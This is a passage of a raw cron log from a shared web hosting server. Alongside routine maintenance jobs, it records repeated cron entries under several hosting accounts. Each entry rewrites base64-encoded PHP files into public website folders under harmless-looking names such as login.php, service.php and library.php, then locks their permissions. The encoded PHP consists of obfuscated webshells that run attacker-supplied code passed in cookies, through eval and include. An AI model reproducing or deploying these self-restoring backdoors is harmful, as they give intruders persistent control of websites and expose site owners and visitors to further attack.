9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:10:02 medusa CROND[24751]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:10:02 medusa CROND[24753]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:10:02 medusa CROND[24752]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 12:10:02 medusa CROND[24756]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:10:02 medusa CROND[24754]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:10:02 medusa CROND[24758]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:10:02 medusa CROND[24755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:10:02 medusa CROND[24760]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:10:02 medusa CROND[24761]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:10:02 medusa CROND[24757]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 12:10:02 medusa CROND[24762]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 12:10:02 medusa CROND[24768]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:10:02 medusa CROND[24769]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:10:02 medusa CROND[24770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:10:02 medusa CROND[24771]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 12:10:02 medusa CROND[24759]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 12:11:01 medusa CROND[14309]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 12:11:01 medusa CROND[14374]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:11:01 medusa CROND[14376]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:11:01 medusa CROND[14377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:11:01 medusa CROND[14378]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:11:01 medusa CROND[14385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:11:01 medusa CROND[14387]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:11:01 medusa CROND[14388]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:11:01 medusa CROND[14405]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 12:11:01 medusa CROND[14406]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:11:01 medusa CROND[14407]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:11:01 medusa CROND[14408]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:11:01 medusa CROND[14411]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:12:01 medusa CROND[4340]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:12:01 medusa CROND[4341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:12:02 medusa CROND[4459]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:12:02 medusa CROND[4461]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:12:02 medusa CROND[4463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:12:02 medusa CROND[4465]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:12:02 medusa CROND[4466]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
